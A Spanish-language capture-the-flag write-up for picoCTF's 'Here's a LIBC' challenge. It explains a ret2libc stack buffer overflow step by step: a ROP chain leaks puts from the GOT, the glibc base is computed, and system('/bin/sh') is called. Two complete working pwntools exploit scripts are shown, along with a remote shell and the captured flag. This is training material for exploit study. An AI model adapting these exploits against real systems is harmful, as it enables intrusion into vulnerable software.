Here's a LIBC
9 minutos de lectura
Se nos proporciona un binario de 64 bits llamado vuln
y un archivo libc.so.6
como librería externa:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./'
Si ejecutamos el binario obtendremos una violación de segmento (segmentation fault):
$ chmod +x vuln
$ ./vuln
zsh: segmentation fault (core dumped) ./vuln
Está configurado para utilizar Glibc desde el directorio actual:
$ ldd vuln
linux-vdso.so.1 (0x00007ffdc3195000)
libc.so.6 => ./libc.so.6 (0x00007ff93c204000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff93c5f7000)
Usaremos pwninit
para parchear el binario y hacer que funcione:
$ pwninit --libc libc.so.6 --no-template --bin vuln
bin: vuln
libc: libc.so.6
fetching linker
https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.27-3ubuntu1.2_amd64.deb
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.27-3ubuntu1.2_amd64.deb
setting ./ld-2.27.so executable
copying vuln to vuln_patched
running patchelf on vuln_patched
Y ahora funciona:
$ ./vuln_patched
WeLcOmE To mY EcHo sErVeR!
asdf
AsDf
El programa está tomando la entrada de usuario y transformando las letras a mayúsculas y minúsculas alternativamente. Vamos a ver si es vulnerable a Buffer Overflow:
$ python3 -c 'print("A" * 300)' | ./vuln_patched
WeLcOmE To mY EcHo sErVeR!
AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd
zsh: done python3 -c 'print("A" * 300)' |
zsh: segmentation fault (core dumped) ./vuln_patched
Y es vulnerable ya que el programa se rompe, que significa que la dirección de retorno se ha modificado. Podemos utilizar GDB para obtener el número exacto de caracteres necesarios para modificar la dirección de retorno:
$ gdb -q vuln_patched
Reading symbols from vuln_patched...
(No debugging symbols found in vuln_patched)
gef➤ pattern create 300
[+] Generating a pattern of 300 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaa
aauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./vuln_patched
WeLcOmE To mY EcHo sErVeR!
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaa
aauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
AaAaAaAaBaAaAaAaCaAaAaAaDaAaAaAaEaAaAaAaFaAaAaAaGaAaAaAaHaAaAaAaIaAaAaAaJaAaAaAaKaAaAaAaLaAaAaAaMaAaaaaanaaaaaaaoaaaaaaad
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400770 in do_stuff ()
gef➤ pattern offset $rsp
[+] Searching for '$rsp'
[+] Found at offset 136 (little-endian search) likely
[+] Found at offset 129 (big-endian search)
Vemos que necesitamos 136 caracteres antes de modificar el registro $rsp
(donde se almacena la dirección de retorno antes de llamar a una función).
Como el binario tiene la protección NX, necesitamos utilizar Return Oriented Programming (ROP) para explotar la vulnerabilidad. Además, tendremos que burlar el ASLR porque probablemente estará habilitado en la instancia remota.
Para poder burlar el ASLR, necesitamos fugar una dirección de Glibc en tiempo de ejecución, de manera que podamos calcular la dirección base de la librería y obtener la dirección real de system
y "/bin/sh"
(esta técnica se conoce como ret2libc).
Como tenemos un Buffer Overflow, tenemos control de la siguiente dirección que se va a ejecutar. Por tanto, podemos llamar a una función como puts
para mostrar la dirección de otra función. Para llamar a puts
tenemos que usar la dirección de puts
en la Tabla de Enlaces a Procedimientos (Procedure Linkage Table, PLT). Esta función muestra el primer argumento como una cadena de caracteres (por lo que imprime el contenido de una dirección dada hasta encontrar un carácter nulo). Por tanto, el argumento para puts
será la dirección de una función en la Tabla de Offsets Globales (Global Offset Table, GOT), que contiene la dirección real de una función si esta ya ha sido resuelta.
Debido a la convención de llamadas a funciones en 64 bits, tenemos que poner el primer parámetro en el registro $rdi
antes de llamar a la función.
Para ello, usaremos gadgets. Estos son secuencias de instrucciones en ensamblador que terminan en ret
, por lo que al ejecutarse, vuelven a la pila (stack), donde estará el siguiente gadget o la siguiente llamada a función. De ahí el nombre de la técnica ROP, estamos ejecutando código de direcciones específicas del binario y volviendo al siguiente. La secuencia de gadgets empleada durante la explotación se conoce comúnmente como ROP chain y nos permite burlar la protección NX.
Vamos a encontrar toda la información que necesitamos para la explotación:
$ objdump -d vuln | grep puts
0000000000400540 <puts@plt>:
400540: ff 25 d2 0a 20 00 jmpq *0x200ad2(%rip) # 601018 <puts@GLIBC_2.2.5>
400769: e8 d2 fd ff ff callq 400540 <puts@plt>
400891: e8 aa fc ff ff callq 400540 <puts@plt>
Aquí tenemos puts
en la PLT (0x400540
) y puts
en la GOT (0x601018
). La dirección de puts
en la GOT también se puede obtener con readelf
y con otro parámetro de objdump
:
$ objdump -R vuln | grep puts
0000000000601018 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
$ readelf -r vuln | grep puts
000000601018 000100000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
Ahora tenemos que encontrar un gadget que ponga la dirección de puts
en la GOT en el registro $rdi
. Un gadget útil puede ser pop rdi; ret
, el cual toma un valor de la pila y lo pone en $rdi
. Vamos a buscarlo con ROPgadget
:
$ ROPgadget --binary vuln | grep 'pop rdi ; ret'
0x0000000000400913 : pop rdi ; ret
Un último dato que necesitamos es la dirección del main
. Esto es necesario para indicar la última función que se va a llamar en la ROP chain, de manera que podemos reiniciar el programa sin cerrar el proceso:
$ readelf -s vuln | grep main$
63: 0000000000400771 305 FUNC GLOBAL DEFAULT 13 main
Podemos escribir este script en Python para explotar el binario:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('vuln_patched')
glibc = ELF('libc.so.6', checksec=False)
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1], int(sys.argv[2])
return remote(host, port)
def main():
p = get_process()
offset = 136
junk = b'A' * offset
pop_rdi_ret = 0x400913
puts_got = 0x601018
puts_plt = 0x400540
main_addr = 0x400771
payload = junk
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
p.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!\n', payload)
p.recvline()
p.interactive()
if __name__ == '__main__':
main()
Si lo ejecutamos, vemos que fugamos la dirección de puts
en tiempo de ejecución y el main
se vuelve a ejecutar:
$ python3 solve.py
[*] './vuln_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Starting local process './vuln_patched': pid 143772
[*] Switching to interactive mode
0\x1a\x90\xa6\x7f
WeLcOmE To mY EcHo sErVeR!
$
Para poder calcular la dirección base de Glibc en tiempo de ejecución, tenemos que restar el offset de puts
en Glibc a su dirección en tiempo de ejecución. El offset de puts
es 0x80a30
:
$ readelf -s libc.so.6 | grep ' puts$'
7481: 0000000000080a30 512 FUNC WEAK DEFAULT 13 puts
Podemos actualizar el exploit para que muestre este resultado:
puts_addr = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Leaked puts() address: {hex(puts_addr)}')
puts_offset = 0x80a30
glibc_base_addr = puts_addr - puts_offset
log.info(f'Glibc base address: {hex(glibc_base_addr)}')
Y ahora podemos verlo al ejecutar el exploit:
$ python3 solve.py
[*] './vuln_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Starting local process './vuln_patched': pid 148874
[*] Leaked puts() address: 0x7fa62ed48a30
[*] Glibc base address: 0x7fa62ecc8000
[*] Switching to interactive mode
WeLcOmE To mY EcHo sErVeR!
$
Esto es útil porque si la dirección base de Glibc no termina en 000
en hexadecimal, es probable que algo no está yendo bien. El proceso de aleatorización de ASLR genera números que terminan en 000
, por lo que es una prueba de que todo va bien durante la explotación.
Ahora es el momento de llamar a system
con "/bin/sh"
como argumento (de nuevo, tenemos que usar el gadget pop rdi; ret
para poner el puntero a "/bin/sh"
como argumento de system
).
La información necesaria está aquí:
$ readelf -s libc.so.6 | grep ' system$'
6032: 000000000004f4e0 45 FUNC WEAK DEFAULT 13 system
$ strings -atx libc.so.6 | grep /bin/sh
1b40fa /bin/sh
Y ahora seguimos con una segunda ROP chain para conseguir una shell:
system_offset = 0x4f4e0
bin_sh_offset = 0x1b40fa
system_addr = glibc_base_addr + system_offset
bin_sh_addr = glibc_base_addr + bin_sh_offset
payload = junk
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
p.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!\n', payload)
p.recvline()
p.interactive()
Pero si lo ejecutamos, no conseguimos una shell…
$ python3 solve.py
[*] './vuln_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Starting local process './vuln_patched': pid 157202
[*] Leaked puts() address: 0x7f394d102a30
[*] Glibc base address: 0x7f394d082000
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
Esto ocurre debido al alineamiento de la pila (stack alignment). En el momento de llamar a system
, la pila no está alineada y el programa termina. La solución a esto es poner un simple gadget ret
antes de llamar a system
.
Como ya tenemos pop rdi; ret
en 0x400913
, sabemos que ret
estará en 0x400914
(una unidad más). También podríamos buscarlo con ROPgadget
.
payload = junk
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(pop_rdi_ret + 1)
payload += p64(system_addr)
p.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!\n', payload)
p.recvline()
p.interactive()
Y ahora sí tenemos una shell en local:
$ python3 solve.py
[*] './vuln_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Starting local process './vuln_patched': pid 174597
[*] Leaked puts() address: 0x7f191fcada30
[*] Glibc base address: 0x7f191fc2d000
[*] Switching to interactive mode
$ ls
ld-2.27.so libc.so.6 Makefile solve.py vuln vuln_patched
Vamos a lanzarlo contra la instancia remota y a leer la flag:
$ python3 solve.py mercury.picoctf.net 24159
[*] './vuln_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Opening connection to mercury.picoctf.net on port 24159: Done
[*] Leaked puts() address: 0x7f9f791eaa30
[*] Glibc base address: 0x7f9f7916a000
[*] Switching to interactive mode
$ ls
flag.txt
libc.so.6
vuln
vuln.c
xinet_startup.sh
$ cat flag.txt
picoCTF{1_<3_sm4sh_st4cking_cf205091ad15ab6d}
Adicionalmente, se puede escribir el exploit utilizando más funcionalidades de pwntools
:
#!/usr/bin/env python3
from pwn import context, ELF, log, p64, remote, ROP, sys, u64
context.binary = elf = ELF('vuln_patched')
glibc = ELF('libc.so.6', checksec=False)
rop = ROP(elf)
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1], int(sys.argv[2])
return remote(host, port)
def main():
p = get_process()
offset = 136
junk = b'A' * offset
payload = junk
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(elf.got.puts)
payload += p64(elf.plt.puts)
payload += p64(elf.symbols.main)
p.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!\n', payload)
p.recvline()
puts_addr = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Leaked puts() address: {hex(puts_addr)}')
glibc.address = puts_addr - glibc.symbols.puts
log.info(f'Glibc base address: {hex(glibc.address)}')
payload = junk
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(next(glibc.search(b'/bin/sh')))
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(glibc.symbols.system)
p.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!\n', payload)
p.recvline()
p.interactive()
if __name__ == '__main__':
main()